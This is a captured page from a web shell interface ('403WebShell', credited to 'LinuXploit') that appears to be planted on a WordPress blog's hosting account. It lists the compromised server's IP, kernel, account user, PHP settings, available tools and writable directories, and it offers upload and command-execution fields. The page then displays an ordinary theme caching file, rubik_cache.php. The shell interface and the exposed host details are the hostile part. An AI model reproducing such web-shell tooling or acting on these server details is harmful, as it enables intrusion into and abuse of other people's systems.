Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.80.247
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/blog.diixadigital.com/wp-content/themes/rubik/inc/libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/blog.diixadigital.com/wp-content/themes/rubik/inc/libs/rubik_cache.php
<?php
if (!class_exists('rubik_cache')) {
    class rubik_cache {
        
        static $cache_name_format = '{group}-{ID}';
        
        static function rubik_get_cache_name( $cache_key, $cache_group = '' ) {

    		$cache_group = self::rubik_sanitize_group_name( $cache_group );
    
    		$replacement = array(
    			'{ID}'    => $cache_key,
    			'{group}' => $cache_group,
    		);
    
    		return str_replace( array_keys( $replacement ), array_values( $replacement ), self::$cache_name_format );
    	}
        
        static function rubik_get_cache( $cache_key, $cache_group = 'default' ) {

    		$transient_name = self::rubik_get_cache_name( $cache_key, $cache_group );
    
    		if ( $group_cached = get_transient( $transient_name ) ) {
    			if ( isset( $group_cached[ $cache_group ] ) ) {
    				return $group_cached[ $cache_group ];
    			}
    		}
    
    		return FALSE;
    	}
        
        static function rubik_set_cache( $cache_key, $data2cache, $cache_group = 'default', $expiration = NULL ) {
    
    		$transient_name = self::rubik_get_cache_name( $cache_key, $cache_group );
    
    		if ( ! is_int( $expiration ) || ! $expiration ) {
    			$expiration = apply_filters( 'bk-playlist/cache-time', HOUR_IN_SECONDS * 6 );
    		}
    
    		$current_data = get_transient( $transient_name );
    		if ( ! $current_data ) {
    			$current_data = array();
    		}
    		$current_data = (array) $current_data;
    
    		$new_data                 = &$current_data;
    		$new_data[ $cache_group ] = $data2cache;
    
    		return set_transient( $transient_name, $new_data, $expiration );
    	}
        
        static function rubik_sanitize_group_name( $cache_key, $cache_group = '' ) {

    		if ( ! empty( $cache_group ) || ! is_string( $cache_group ) ) {
    			return $cache_group;
    		}
    
    		return FALSE;
    	}
        
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit